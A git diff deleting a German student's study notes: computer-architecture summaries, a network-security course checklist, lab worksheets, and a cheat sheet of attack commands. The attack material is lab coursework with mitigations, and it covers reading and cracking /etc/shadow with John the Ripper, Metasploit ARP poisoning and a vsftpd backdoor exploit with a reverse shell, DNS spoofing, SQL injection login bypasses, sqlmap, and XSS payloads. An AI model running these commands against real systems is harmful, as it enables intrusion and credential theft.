- **Paging:** nur Seitentabelle wird geändert
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 🌐 Dynamisches Binden (Dynamic Linking)
|
||||
|
||||
|Plattform|Mechanismus|
|
||||
|---|---|
|
||||
|**MULTICS**|Linkage-Segment mit Prozedur-Infos, Ausnahmebehandlung beim ersten Aufruf|
|
||||
|**Windows**|DLLs (Dynamic Link Libraries), Implicit & Explicit Linking|
|
||||
|**Unix**|Shared Libraries (SO-Dateien)|
|
||||
|
||||
---
|
||||
|
||||
### 📝 Für die Klausur merken
|
||||
|
||||
✅ Unterschied Assembler ↔ Compiler
|
||||
✅ Vor- & Nachteile Assemblersprache
|
||||
✅ Zwei-Pass-Assembler: Ablauf & Tabellen
|
||||
✅ Unterschied Pseudobefehl ↔ echter Maschinenbefehl
|
||||
✅ Makros: Definition, Aufruf, Parameter
|
||||
✅ Linker-Aufgaben: Relokation, externe Referenzen
|
||||
✅ Dynamisches Binden: Windows (DLL), Unix (SO)
|
||||
|
||||
---
|
||||
@@ -1,167 +0,0 @@
|
||||
## 📘 **Kompaktes Lernskript: Computerarchitektur (alle 13 Vorlesungen)**
|
||||
|
||||
---
|
||||
|
||||
### **1️⃣ Einführung – Computerarchitektur**
|
||||
|
||||
- **Computerarchitektur**: Sicht des Programmierers (ISA, Speicher, I/O)
|
||||
- **Computerorganisation**: Umsetzung auf Hardware-Ebene (Mikroarchitektur)
|
||||
- **Von-Neumann-Architektur**:
|
||||
- Gemeinsamer Speicher für Daten & Programme
|
||||
- Vorteil: Einfachheit; Nachteil: Von-Neumann-Flaschenhals
|
||||
- **Harvard-Architektur**:
|
||||
- Trennung von Daten- und Programmspeicher
|
||||
- **Abstraktionsebenen**:
|
||||
- Ebene 0: Digitale Logik
|
||||
- Ebene 1: Mikroarchitektur
|
||||
- Ebene 2: ISA
|
||||
- Ebene 3: Betriebssystem
|
||||
- Ebene 4: Assemblersprache
|
||||
- Ebene 5: Hochsprachen
|
||||
- **Historie**: Zuse Z3 → ENIAC → IBM System/360 → Intel 4004 → ARM
|
||||
|
||||
---
|
||||
|
||||
### **2️⃣ Architekturen**
|
||||
|
||||
- **RISC vs. CISC**:
|
||||
|
||||
|Merkmal|RISC|CISC|
|
||||
|---|---|---|
|
||||
|Befehlssatz|Einfach, gleich lang|Komplex, unterschiedliche Länge|
|
||||
|Hardware|Einfach|Komplex|
|
||||
|Beispiele|ARM, MIPS|x86 (Intel, AMD)|
|
||||
|
||||
- **Befehlssatztypen**:
|
||||
- Stack, Akkumulator, Register-Memory, Load/Store
|
||||
- **Moore’s Law**: Verdopplung der Transistorzahl alle ~18 Monate
|
||||
- **Leistungskennzahlen**: MIPS, FLOPS, CPI, IPC
|
||||
|
||||
---
|
||||
|
||||
### **3️⃣ Schaltnetze & Endliche Automaten**
|
||||
|
||||
- **Schaltnetz**: stateless, keine Rückkopplung
|
||||
- **Endlicher Automat (FSM)**: stateful, mit Rückkopplung
|
||||
- **Flip-Flops**: Zustandspeicher, getaktet
|
||||
- **DEA**: Zustandslogik + Zustandspeicher + Takt
|
||||
|
||||
---
|
||||
|
||||
### **4️⃣ Prozessor (Teil 1)**
|
||||
|
||||
- **MIPS-ISA**:
|
||||
- R-Typ: `add $s1, $s2, $s3`
|
||||
- Load/Store: `lw`, `sw`
|
||||
- Branch: `beq`, `bne`
|
||||
- **CPU-Leistungsformel**:
|
||||
CPU-Zeit=IC×CPI×CTCPU\text{-Zeit} = IC \times CPI \times CT
|
||||
- **Datenpfad-Bausteine**: ALU, Registerfile, Steuerwerk
|
||||
|
||||
---
|
||||
|
||||
### **5️⃣ Prozessor (Teil 2)**
|
||||
|
||||
- **Steuersignale**:
|
||||
- MemtoReg, RegWrite, ALUSrc, Branch, Jump
|
||||
- **ALU Control**: Bestimmt Operation aus Opcode + Funct
|
||||
- **Erweiterter Datenpfad**: Unterstützung für Jumps & Branches
|
||||
|
||||
---
|
||||
|
||||
### **6️⃣ Pipelining**
|
||||
|
||||
- **5 Pipeline-Stufen**: IF → ID → EX → MEM → WB
|
||||
- **Vorteil**: Erhöhter Durchsatz, gleiche Latenz
|
||||
- **Hazards**:
|
||||
- **Strukturell**
|
||||
- **Datenhazards**: Forwarding, Stalls
|
||||
- **Kontrollhazards**: Branch Prediction (Static/Dynamic)
|
||||
|
||||
---
|
||||
|
||||
### **7️⃣ Pipelining: Datapath & Control**
|
||||
|
||||
- **Forwarding**: Bypassing von EX/MEM, MEM/WB
|
||||
- **Load-Use Hazard**: 1-Stall einfügen
|
||||
- **Branch Prediction**:
|
||||
- 1-Bit, 2-Bit Predictors
|
||||
- Branch Target Buffer (BTB)
|
||||
|
||||
---
|
||||
|
||||
### **8️⃣ Pipelining: Exceptions, Interrupts & ILP**
|
||||
|
||||
- **Exceptions**: Fehler innerhalb CPU → EPC speichert PC
|
||||
- **Interrupts**: externe Ereignisse
|
||||
- **ILP**:
|
||||
- **Static (VLIW)** vs. **Dynamic (Superscalar)**
|
||||
- **Speculation**: Branch & Load Speculation
|
||||
- **Register Renaming**: Verhindert WAW & WAR
|
||||
|
||||
---
|
||||
|
||||
### **9️⃣ Intel vs. ARM**
|
||||
|
||||
|Feature|ARM Cortex-A8|Intel Core i7|
|
||||
|---|---|---|
|
||||
|Planung|Statisch, in-order|Dynamisch, out-of-order|
|
||||
|TDP|2 W|130 W|
|
||||
|Max Instr./Takt|2|4|
|
||||
|
||||
---
|
||||
|
||||
### **🔟 Speicheranbindung**
|
||||
|
||||
- **Speicherhierarchie**: Register → Cache → RAM → SSD/HDD
|
||||
- **Caches**:
|
||||
- Direct-Mapped, Set-Associative, Fully-Associative
|
||||
- Write-Through vs. Write-Back
|
||||
- **AMAT**:
|
||||
AMAT=HitTime+MissRate×MissPenaltyAMAT = HitTime + MissRate \times MissPenalty
|
||||
- **Cache Blocking**: Optimiert Speicherzugriffe
|
||||
|
||||
---
|
||||
|
||||
### **1️⃣1️⃣ Assembler**
|
||||
|
||||
- **Assembler**: Übersetzt Assemblersprache → Maschinencode
|
||||
- **Zwei-Pass-Assembler**: Symboltabelle, Opcode-Tabelle
|
||||
- **Linker**: Relokation & externe Referenzen
|
||||
- **Makros**: Ersetzung bei Übersetzung
|
||||
- **Dynamisches Binden**: DLL (Windows), SO (Unix)
|
||||
|
||||
---
|
||||
|
||||
### **1️⃣2️⃣ Compiler**
|
||||
|
||||
- **Compiler-Phasen**:
|
||||
1. Lexikalische Analyse
|
||||
2. Syntaktische Analyse (AST)
|
||||
3. Semantische Analyse
|
||||
4. Zwischencode (3-Adress-Code)
|
||||
5. Optimierung (lokal, global)
|
||||
6. Codegenerierung
|
||||
- **Optimierungstechniken**: Loop Unrolling, Constant Folding, Dead Code Elimination
|
||||
|
||||
- **Tools**: `cc -E`, `cc -S`, `cc -c`, `cc -o`
|
||||
|
||||
|
||||
---
|
||||
|
||||
### **1️⃣3️⃣ Zuverlässigkeit & Virtualität**
|
||||
|
||||
- **Zuverlässigkeit**:
|
||||
Availability=MTTFMTTF+MTTRAvailability = \frac{MTTF}{MTTF + MTTR}
|
||||
- **Hamming-Codes**: SEC/DED, ECC DRAM
|
||||
- **Virtuelle Maschinen (VMs)**:
|
||||
- Vorteile: Isolation, Sicherheit
|
||||
- VMM: verwaltet Ressourcen, Traps für privilegierte Instruktionen
|
||||
- **Virtueller Speicher**:
|
||||
- Page Tables, TLB, Page Fault Handling
|
||||
- **Cache-Kohärenz**:
|
||||
- Snooping, Directory-basierte Protokolle
|
||||
|
||||
---
|
||||
|
||||
💡 **Merke**: Prinzip der Lokalität & Speicherhierarchie sind Schlüsselthemen für Performance!
|
||||
@@ -1,47 +0,0 @@
|
||||
# Skripte
|
||||
- [x] Hashfunktionen
|
||||
- [x] TLS 4.5
|
||||
- [x] Firewalling
|
||||
- [x] IP-Tables
|
||||
- [x] Exploits IDS
|
||||
- [x] IPSEC
|
||||
- [x] SSH
|
||||
|
||||
# Gelesene Skript-Zusammenfassungen
|
||||
- [ ] Hashfunktionen
|
||||
- [ ] TLS 4.5
|
||||
- [ ] Firewalling
|
||||
- [ ] IP-Tables
|
||||
- [x] Exploits IDS
|
||||
- [ ] IPSEC
|
||||
- [ ] SSH
|
||||
|
||||
# Videos
|
||||
- [x] 3- hashing und signatur
|
||||
- [x] 5 - challenge-response
|
||||
- [x] 6 - zertifikat
|
||||
- [ ] 7 - schlüsselhierarchien teil 1
|
||||
|
||||
# Praktika (Zusammenfassung KI)
|
||||
- [x] 060 Portscans
|
||||
- [x] 010 Passwortsicherheit
|
||||
- [x] 020 DNS-Angriff
|
||||
- [x] 080 Mintm Attack
|
||||
- [x] 030 RADIUS
|
||||
- [x] 050 Firewall-Pen
|
||||
- [x] 120 IDS
|
||||
- [x] 160 Metasploit
|
||||
- [x] 110 SQL-Angriffe
|
||||
- [x] 100 XSS-Angriffe
|
||||
# Praktika (Durgeführt)
|
||||
- [x] 060 Portscans
|
||||
- [x] 010 Passwortsicherheit
|
||||
- Kein Zugriff auf den eigentlichen Rechner, weil der Nutzer nicht im Shadowtable ist... nice
|
||||
- [ ] 020 DNS-Angriff
|
||||
- [ ] 080 Mintm Attack
|
||||
- [ ] 030 RADIUS
|
||||
- [ ] 050 Firewall-Pen
|
||||
- [ ] 120 IDS
|
||||
- [ ] 160 Metasploit
|
||||
- [ ] 110 SQL-Angriffe
|
||||
- [ ] 100 XSS-Angriffe
|
||||
@@ -1,82 +0,0 @@
|
||||
# Aufgabe 1
|
||||
|
||||
Nennen Sie Maßnahmen, wie man es einem potenziellen Angreifer schwerer machen kann, das Passwort zu erraten.
|
||||
|
||||
- Längere Passwörter
|
||||
- komplexer (Zahlen, Groß- und Kleinbuchstaben)
|
||||
|
||||
# Aufgabe 2
|
||||
|
||||
Suchen Sie im Internet nach Tools für Wörterbuchangriffe. Welche On- bzw. Offline-Tools gibt es und welche Arten von Hashwerten können mit den jeweiligen Tools geknackt werden?
|
||||
|
||||
- acccheck (smb)
|
||||
- beleth (ssh)
|
||||
- cudahashcat
|
||||
- eapmd5pass (md5)
|
||||
- facebrute
|
||||
- iisbruteforcer
|
||||
- morxbook, morxbrute, morxcrack
|
||||
- oclhashcat
|
||||
- pdgmail
|
||||
- pemhack
|
||||
- sidguesser
|
||||
|
||||
# Aufgabe 3
|
||||
|
||||
„John The Ripper“ ist als freie Version erhältlich. Erläutern Sie die Funktionsweise. Welche Algorithmen zur Hash-Berechnung beherrscht „John The Ripper“? Wie viele verschiedene Crack-Modi werden unterstützt? Nennen und erläutern Sie die Unterschiede.
|
||||
|
||||
# Aufgabe 4
|
||||
|
||||
Welcher Schritt ist zunächst notwendig um auf Linux-Distributionen, die Passwörter in einer Shadow-Datei speichern, das Cracking der Passwortliste zu starten?
|
||||
|
||||
1. Zugriff auf `/etc/shadow` erhalten
|
||||
1. Nötigt `root`
|
||||
2. Kopieren von `/etc/shadow` und `/etc/passwd`
|
||||
3. Vorbereitung für Cracking
|
||||
1. `unshadow /etc/passwd /etc/shadow > unshadowed.txt`
|
||||
4. Cracking tool starten
|
||||
1. `john --wordlist=rockyou.txt unshadowed.txt`
|
||||
|
||||
# Aufgabe 5 - Praxis
|
||||
|
||||
`scp localhost:/etc/passwd ~/passwd_dump.txt`
|
||||
`scp localhost:/etc/shadow ~/shadow_dump.txt`
|
||||
|
||||
`unshadow passwd_dump.txt shadow_dump.txt > combined.txt`
|
||||
`john --wordlist=pwd.txt combined.txt --users=root --format=crypt`
|
||||
|
||||
Ergebnis: `notsafe987 (root)`
|
||||
|
||||
# Aufgabe 6
|
||||
|
||||
Mitunter kann der Vorgang zum Cracken per Brute-Force oder mit Wortlisten sehr lange dauern. Allerdings gibt es ein paar Möglichkeiten, in JTR das Cracken zu beschleunigen. Nennen Sie drei Methoden.
|
||||
|
||||
1. Liste an möglichen Wörtern einschränken
|
||||
2. Mehr Rechenleistung
|
||||
3. Multi threading
|
||||
|
||||
# Aufgabe 7
|
||||
|
||||
Für Windows-LM-/-NTLM-Passworthashes gibt es eine effektivere und i.d.R. schnellere Methode das Klartext-Passwort herauszufinden - die Rainbow Tables.
|
||||
Erklären Sie die Funktionsweise von Rainbow Tables. Welche Vorteile haben sie gegenüber Brute-Force- oder Wörterbuchattacken? Warum sind Rainbow Tables in der Regel effektiver?
|
||||
|
||||
Rainbow Tables sind vorberechnete, große Datenbanken, die Klartext-Passwörter mit ihren zugehörigen Hashwerten verknüpfen. Sie dienen dazu, das ursprüngliche Passwort zu einem gegebenen Hashwert schnell zu ermitteln, ohne jedes mögliche Passwort einzeln ausprobieren oder berechnen zu müssen
|
||||
|
||||
# Aufgabe 8
|
||||
|
||||
Die LM-/NTLM-Hashes von lokalen Benutzerkonten sind in einer SAM-Datenbank abgelegt. Wofür steht SAM und welche Funktion hat der Dienst? Kann man über die SAM-Datenbank auch Domain-Passwörter auslesen?
|
||||
|
||||
# Aufgabe 9 - Praxis
|
||||
|
||||
Versuchen Sie nun das Passwort des Accounts 'Alice' von einem fiktiven Windows10-Rechner mit dem Tool Ophcrack und einer Rainbow Table zu cracken. Laden Sie sich dazu zunächst die Rainbow Table 'vista free prohabilistic' von der Ophcrack-Webseite herunter (oder, falls die Verbindung zu langsam ist liegt die unter /root/ophcrack) und speichern Sie die Table im Ordner 'ophcrack/RainbowTables' im Home-Verzeichnis des Users 'root'.
|
||||
|
||||
In dem Ordner „ophcrack“ finden Sie außerdem einen Dump der SAM-Einträge (Security Accounts Manager) von der VM „win10-victim“.
|
||||
|
||||
**Zum Cracken soll nur das Passwort von Alice betrachtet werden, ansonsten sind die Laufzeiten zu hoch! Hierzu kann bspw. nur ein Teil des SAM-Dump verwendet werden.**
|
||||
|
||||
Starten Sie das Tool Ophcrack auf der Kommandozeile (ophcrack), laden Sie den SAM-Dump und versuchen Sie das Passwort des Accounts „Alice“ mit der heruntergeladenen Rainbow Table zu cracken.
|
||||
|
||||
|
||||
`ophcrack-cli -f nurlice.pwdmp -t Rainbowtables/vista_proba_free -n 4`
|
||||
|
||||
Ergebnis: Alice NT password 12!34
|
||||
Binary file not shown.
@@ -1,117 +0,0 @@
|
||||
#let response(body) = {
|
||||
set text(
|
||||
weight: "semibold",
|
||||
purple,
|
||||
)
|
||||
[#body]
|
||||
}
|
||||
|
||||
= 060 Portscans
|
||||
|
||||
== Aufgabe 1
|
||||
Erklären Sie die Begriffe sowie die Bedeutung Authentisierung, Autorisierung und Accounting.
|
||||
|
||||
#response[
|
||||
- Authentisierung:
|
||||
- Identitätsnachweis
|
||||
- Autorisierung:
|
||||
- Rechtevergabe
|
||||
- Accounting:
|
||||
- audit trail über logging
|
||||
]
|
||||
|
||||
#link("https://en.wikipedia.org/wiki/Authentication%2C_authorization%2C_and_accounting")[
|
||||
wikipedia: Authentication, authorization, and accounting
|
||||
]
|
||||
|
||||
== Aufgabe 2
|
||||
Was ist ein Port?
|
||||
|
||||
#response[
|
||||
Als Port versteht man einen Kommunikationsendpunkt. Auf der Softwareebene ist ein Port ein Konstrukt, mit dem man ein spezifischen Prozess oder ein network-service identifizieren kann.
|
||||
]
|
||||
|
||||
#link("https://en.wikipedia.org/wiki/Port_(computer_networking)")[
|
||||
wikipedia: Port\_(computer_networking)
|
||||
]
|
||||
|
||||
== Aufgabe 2
|
||||
Was ist ein Portscanner und wofür wird er verwendet?
|
||||
|
||||
#response[
|
||||
Ein Portscanner ist eine Applikation, die dazu dient offene Ports bei bspw. Applikationen und Servern zu ermitteln. Dieser kann sowohl von Administratoren verwendet werden um Sicherheitslücken zu ermitteln, als auch von Angreifern um sich zugriff zu schaffen.
|
||||
]
|
||||
|
||||
#link("https://en.wikipedia.org/wiki/Port_scanner")[
|
||||
wikipedia: Port_scanner
|
||||
]
|
||||
|
||||
== Aufgabe 3
|
||||
Ein Portscanner sendet eine Anfrage zur Verbindung mit einem Port eines Computers und zeichnet die Antwort auf. Es gibt drei mögliche Antworten, welche sind es?
|
||||
|
||||
#response[
|
||||
+ Open or Accepted
|
||||
+ Closed or Denied
|
||||
+ Filtered, Dropped or Blocked
|
||||
]
|
||||
|
||||
#link("https://en.wikipedia.org/wiki/Port_scanner")[
|
||||
wikipedia: Port_scanner
|
||||
]
|
||||
|
||||
== Aufgabe 4
|
||||
Welche Portscan-Techniken gibt es?
|
||||
|
||||
#response[
|
||||
- TCP
|
||||
- SYN
|
||||
- UDP
|
||||
- ACK
|
||||
- Window
|
||||
- FIN
|
||||
]
|
||||
|
||||
#link("https://en.wikipedia.org/wiki/Port_scanner")[
|
||||
wikipedia: Port_scanner
|
||||
]
|
||||
|
||||
|
||||
== Aufgabe 5
|
||||
Welche Möglichkeiten gibt es zur Erkennung von Portscannern?
|
||||
|
||||
#response[
|
||||
Mehrere Requests durch einen oder mehrere IP-Adressen an unterschiedlichen Ports (abtasten).
|
||||
]
|
||||
|
||||
== Aufgabe 6
|
||||
Welche Auswirkungen kann ein Portscan haben?
|
||||
|
||||
#response[
|
||||
- Entdeckung von offenen Ports
|
||||
- Geldstrafe lulz
|
||||
]
|
||||
|
||||
== Aufgabe 7
|
||||
An welchem Angriffs-Muster könnte man einen Portscan identifizieren und wie lässt sich dies vermeiden?
|
||||
|
||||
#response[
|
||||
+ inkrementierende Portnummer-Anfragen durch eine Person
|
||||
+ Auslastung und Testen aller Ports anhand eines Botnets
|
||||
]
|
||||
|
||||
== Aufgabe 8 - Praxis
|
||||
Welche Möglichkeiten gibt es auf einem Linux-System mit Kommandozeilenzugriff die offenen Ports herauszufinden ohne einen Portscan durchzuführen? (bspw. auf dem Kali-Container)
|
||||
|
||||
#response[
|
||||
`#netstat -lntu`
|
||||
]
|
||||
|
||||
#image("netstat.png")
|
||||
|
||||
== Aufgabe 9 - Praxis
|
||||
Führen Sie mit Hilfe der folgenden Tools jeweils einen Port-Scan für Port 20 bis 80 durch: nmap, netcat bzw. nc, echo, bash
|
||||
|
||||
#response[
|
||||
=== nmap
|
||||
#image("nmap.png")
|
||||
]
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 17 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 21 KiB |
@@ -1,348 +0,0 @@
|
||||
## 🖥️ **VirtualBox/VM Performance**
|
||||
|
||||
- Schildkröte-Symbol → Hyper-V und WSL unter Windows deaktivieren
|
||||
- Alternative: VMWare Workstation Pro (kostenloser Account nötig)
|
||||
|
||||
---
|
||||
|
||||
## 🔌 **Portscans**
|
||||
|
||||
**Was ist ein Port?**
|
||||
|
||||
- Virtuelle Schnittstelle für Verbindungen (0–65535 TCP/UDP, Layer 4)
|
||||
- Well Known Ports (0–1023): z. B. 22/SSH, 80/HTTP, 443/HTTPS, 53/DNS
|
||||
|
||||
**Portscanner?**
|
||||
|
||||
- Prüft Ports eines Hosts auf „offen“, „geschlossen“, „gefiltert“
|
||||
- Tools: `nmap`, `nc`, Bash-Loops mit `/dev/tcp`
|
||||
|
||||
**Portscan-Techniken**
|
||||
|
||||
- `Ping Scan`: ICMP Echo
|
||||
- `TCP SYN`: halb-offen (kein 3-Way Handshake)
|
||||
- `TCP Connect`: vollständiger 3-Way Handshake
|
||||
- `UDP Scan`: leere Pakete
|
||||
- `Stealth Scan`: FIN, XMAS, Idle Scan (Zombie)
|
||||
|
||||
**Detection & Prevention**
|
||||
|
||||
- Ungewöhnliches Verbindungsverhalten (viele Ports/IP)
|
||||
|
||||
- Tools: Firewalls, IDS, Rate-Limiting, Default-Deny-Prinzip
|
||||
|
||||
|
||||
**Befehle**
|
||||
|
||||
```bash
|
||||
netstat -tulpn
|
||||
sudo lsof -i -P -n
|
||||
nmap -p 20-80 172.22.x.x
|
||||
nc -zv 172.22.x.x 20-80
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🔑 **Passwortsicherheit**
|
||||
|
||||
**Gute Passwörter**
|
||||
|
||||
- ≥12 Zeichen, Groß/Klein, Ziffern, Sonderzeichen
|
||||
- Keine Wörterbuchwörter oder persönliche Daten
|
||||
- Passwort-Manager nutzen, keine Wiederverwendung
|
||||
|
||||
**Cracking-Tools**
|
||||
|
||||
- Online: Hydra, crackstation.net
|
||||
- Offline: John the Ripper (JtR), Hashcat, ophcrack, Rainbowcrack
|
||||
|
||||
**John the Ripper (JtR)**
|
||||
|
||||
- Hash-Identifikation, Kandidaten-Generierung, Vergleich
|
||||
- Crack-Modi: Single, Wordlist, Incremental, Mask, Markov, Regex
|
||||
- Speed-Up: GPU, Threads `--fork=4`, gezielte Wortlisten
|
||||
- Linux: `sudo unshadow /etc/passwd /etc/shadow > combined.txt`
|
||||
- Crack: `john --wordlist=rockyou.txt combined.txt --format=crypt --users=root`
|
||||
|
||||
**Rainbow Tables**
|
||||
|
||||
- Vorgefertigte Hash-Ketten, schneller Lookup
|
||||
- Effektiv gegen unsalted Hashes (z. B. LM/NTLM)
|
||||
|
||||
---
|
||||
|
||||
## 🕵️♂️ **Man-in-the-Middle (MITM) & ARP-Spoofing**
|
||||
|
||||
**Grundidee**
|
||||
|
||||
- Angreifer täuscht Opfer und Gateway falsche MACs vor → Datenverkehr geht durch den Angreifer
|
||||
|
||||
**Tools & Schritte**
|
||||
|
||||
- `arp` → ARP-Cache anzeigen
|
||||
- Metasploit:
|
||||
```bash
|
||||
use auxiliary/spoof/arp/arp_poisoning
|
||||
set SHOSTS <gateway-IP>
|
||||
set DHOSTS <victim-IP>
|
||||
exploit
|
||||
```
|
||||
- Ettercap (GUI): Unified sniffing → Targets → Plugins → ARP Poisoning
|
||||
|
||||
**HTTPS MITM**
|
||||
|
||||
- Zertifikatsinjektion (Cain & Abel)
|
||||
- Nur möglich mit selbstsignierten Zertifikaten oder Downgrade-Attacken
|
||||
|
||||
---
|
||||
|
||||
## 🌐 **DNS-Angriffe**
|
||||
|
||||
**Methoden**
|
||||
|
||||
- DNS Spoofing / Cache Poisoning
|
||||
- DNS Hijacking, NXDOMAIN-Attacken
|
||||
- DNS Tunneling
|
||||
- DoH/DoT als Gegenmaßnahme
|
||||
|
||||
**Befehle**
|
||||
|
||||
```bash
|
||||
vim /etc/ettercap/etter.dns
|
||||
github.com A <Angreifer-IP>
|
||||
```
|
||||
|
||||
- Ettercap: DNS-Spoof Plugin aktivieren
|
||||
---
|
||||
|
||||
## 🔥 **Firewalls**
|
||||
|
||||
**Typen (nach Effizienz)**
|
||||
|
||||
1. Application Gateway (Layer 7)
|
||||
2. Proxy-Firewall
|
||||
3. Stateful Inspection (pfSense)
|
||||
4. Paketfilter-Firewall
|
||||
|
||||
**Befehle**
|
||||
|
||||
```bash
|
||||
iptables -I INPUT -p tcp --dport 80 -j DROP
|
||||
iptables -L -v
|
||||
firewall-cmd --direct --add-rule ipv4 filter OUTPUT 0 -d <IP> -j REJECT
|
||||
```
|
||||
|
||||
**Ports scannen**
|
||||
|
||||
```bash
|
||||
nmap -T4 <Firewall-IP>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 👀 **Intrusion Detection Systems (IDS)**
|
||||
|
||||
**Typen**
|
||||
|
||||
- NIDS: Netzwerkbasiert
|
||||
- HIDS: Hostbasiert
|
||||
- Hybrid, Anomaly-based, Signature-based
|
||||
|
||||
**Tools**
|
||||
|
||||
- Snort:
|
||||
```bash
|
||||
snort -q -A console -i eth0 -c /etc/snort/snort.conf
|
||||
```
|
||||
- Regeln:
|
||||
```text
|
||||
alert tcp any any -> 192.168.1.10 80 (msg:"HTTP access detected"; sid:1000001;)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📡 **RADIUS**
|
||||
|
||||
**AAA-Prinzip**
|
||||
|
||||
- Authentifizierung: Wer bist du?
|
||||
- Autorisierung: Was darfst du?
|
||||
- Accounting: Was hast du gemacht?
|
||||
|
||||
**Protokolle**
|
||||
|
||||
- PAP: Klartext (unsicher)
|
||||
- CHAP: Challenge-Response (sicherer)
|
||||
- EAP-TLS: Zertifikatsbasierte Auth (sehr sicher)
|
||||
|
||||
**Konfiguration**
|
||||
|
||||
- Clients: `/etc/raddb/clients.conf`
|
||||
- Users: `/etc/raddb/users`
|
||||
|
||||
**Test**
|
||||
|
||||
```bash
|
||||
radtest bob Secret123 <RADIUS-IP> 1812 secret123
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🎯 **Metasploit**
|
||||
|
||||
**Phasen Pentest (BSI)**
|
||||
|
||||
1. Vorbereitung
|
||||
2. Informationsbeschaffung
|
||||
3. Bewertung
|
||||
4. Angriff
|
||||
5. Abschluss
|
||||
|
||||
**Modultypen**
|
||||
|
||||
- Exploit: Schwachstelle ausnutzen
|
||||
- Payload: Shells, Meterpreter
|
||||
- Auxiliary: Scans, Fuzzing, DoS
|
||||
- Post-Exploitation: Nach dem Zugriff Aktionen durchführen
|
||||
|
||||
**Befehle**
|
||||
|
||||
```bash
|
||||
msfconsole
|
||||
search vsftpd
|
||||
use exploit/unix/ftp/vsftpd_234_backdoor
|
||||
set RHOST <target-IP>
|
||||
set PAYLOAD linux/x86/shell_reverse_tcp
|
||||
set LHOST <attacker-IP>
|
||||
exploit
|
||||
```
|
||||
|
||||
|
||||
---
|
||||
|
||||
## 🗄️ **SQL Injection**
|
||||
|
||||
🔑 **Login-Bypass Beispiel**
|
||||
|
||||
```sql
|
||||
Email: Admin@1337.org
|
||||
Passwort: " OR 1=1;#
|
||||
```
|
||||
|
||||
➡️ Führt zu Query:
|
||||
|
||||
```sql
|
||||
SELECT * FROM testumgebung_mysql_db.user
|
||||
WHERE user_email = "Admin@1337.org"
|
||||
AND user_password = "" OR 1=1;#
|
||||
```
|
||||
|
||||
✅ Da `1=1` immer true → Zugriff auch ohne Passwort
|
||||
|
||||
---
|
||||
|
||||
🔑 **Weitere Login-Bypass Varianten (Labor)**
|
||||
|
||||
- Mit manipuliertem Benutzernamen:
|
||||
|
||||
```sql
|
||||
Email: SvenMoller@teleworm.us
|
||||
Passwort: " OR 1=1;#
|
||||
```
|
||||
|
||||
➡️ Erfolgreich eingeloggt als Arand1978
|
||||
|
||||
- LIMIT 1 für nur einen User:
|
||||
|
||||
```sql
|
||||
Email: " OR 1=1 LIMIT 1;#
|
||||
Passwort: ignore
|
||||
```
|
||||
|
||||
➡️ Erfolgreich eingeloggt
|
||||
|
||||
---
|
||||
|
||||
🛠️ **Tool: sqlmap (Labor)**
|
||||
Analysiere SQLi-Lücken:
|
||||
|
||||
```bash
|
||||
sqlmap -u "http://172.22.180.102/nie/php/XSS_ProductView.php?clicked=1"
|
||||
sqlmap -u "http://172.22.180.102/nie/php/XSS_ProductView.php?clicked=2+AND+2=2"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
⚠️ **Hinweis (Labor)**
|
||||
|
||||
- `UNION SELECT` NICHT klausurrelevant:
|
||||
|
||||
```sql
|
||||
XSS_ProductView.php?clicked=1 UNION SELECT 1,'test',3,4,5
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🪞 **Cross-Site Scripting**
|
||||
|
||||
📌 **Reflexives XSS (Labor)**
|
||||
Angriff im Suchfeld:
|
||||
|
||||
```html
|
||||
<script>alert('XSS')</script>
|
||||
```
|
||||
|
||||
URL-Beispiel:
|
||||
|
||||
```
|
||||
http://172.22.180.203/nie/php/XSS_Umgebung.php?suche=<script>alert('XSS')</script>
|
||||
```
|
||||
|
||||
➡️ Beim Aufruf wird der JS-Code direkt im Browser ausgeführt
|
||||
|
||||
---
|
||||
|
||||
📌 **Persistentes XSS (Labor)**
|
||||
Kommentar-Input manipulieren:
|
||||
|
||||
```
|
||||
Was ein wünderschönes Stück Baum dies doch ist. <script>alert('XSS')</script>
|
||||
```
|
||||
|
||||
➡️ Jeder Nutzer, der die Seite lädt, bekommt den Alert
|
||||
|
||||
**Verschleierung (Labor)**:
|
||||
Kommentartext so gestalten, dass `<script>` im DB-Dump weniger auffällt.
|
||||
|
||||
---
|
||||
|
||||
🛠️ **Tool: xsser (Labor)**
|
||||
Automatisierte XSS-Prüfung:
|
||||
|
||||
```bash
|
||||
xsser -u http://172.22.180.102/nie/php/XSS_Umgebung.php?suche=XSS -s --user-agent "Googlebot/2.1" --threads 5
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
🚨 **Session Hijacking (Labor Bonus)**
|
||||
|
||||
- Mit XSS Session Cookies stehlen
|
||||
- Danach als Opfer-User einloggen
|
||||
|
||||
**Mitigation**:
|
||||
|
||||
- `HttpOnly` Flag für Cookies
|
||||
- `htmlspecialchars($input, ENT_QUOTES)` in PHP
|
||||
|
||||
---
|
||||
|
||||
## 📋 **Kompakte Klausur-Befehlsübersicht**
|
||||
|
||||
|Angriff|Beispiel / Befehl|
|
||||
|---|---|
|
||||
|SQLi Login-Bypass|`Email: " OR 1=1;#`|
|
||||
|SQLi Tool|`sqlmap -u "<URL>"`|
|
||||
|Reflektiertes XSS|URL: `?suche=<script>alert(1)</script>`|
|
||||
|Persistentes XSS|Kommentar: `<script>alert('XSS')</script>`|
|
||||
|XSS Tool|`xsser -u <URL> -s --threads 5`|
|
||||
@@ -1,123 +0,0 @@
|
||||
## 💥 EXPLOITS – GRUNDLAGEN
|
||||
### Was ist ein Exploit?
|
||||
- Ausnutzung einer **Sicherheitslücke** in Software/IT-Systemen
|
||||
- Besteht aus:
|
||||
- **Schadcode / Shellcode** (führt Payload aus)
|
||||
- **Payload**: z. B. Fernzugriff, Malware, Download weiterer Software
|
||||
- Oft **spezifisch** für ein bestimmtes Programm/Version
|
||||
### Lebenszyklus einer Sicherheitslücke
|
||||
1. Sicherheitslücke existiert (unbekannt)
|
||||
2. **Zero-Day-Exploit**: Lücke wird entdeckt & ausgenutzt
|
||||
3. Lücke wird veröffentlicht & gepatcht
|
||||
### Exploit-Arten
|
||||
- **ACE (Arbitrary Code Execution)**: Schadcode wird durch Schwachstelle ausgeführt
|
||||
